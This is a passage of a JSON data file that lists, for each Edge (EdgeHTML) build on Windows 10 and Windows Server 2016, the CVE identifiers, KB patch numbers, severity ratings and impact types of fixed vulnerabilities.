Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Moderate","impact":"Remote Code 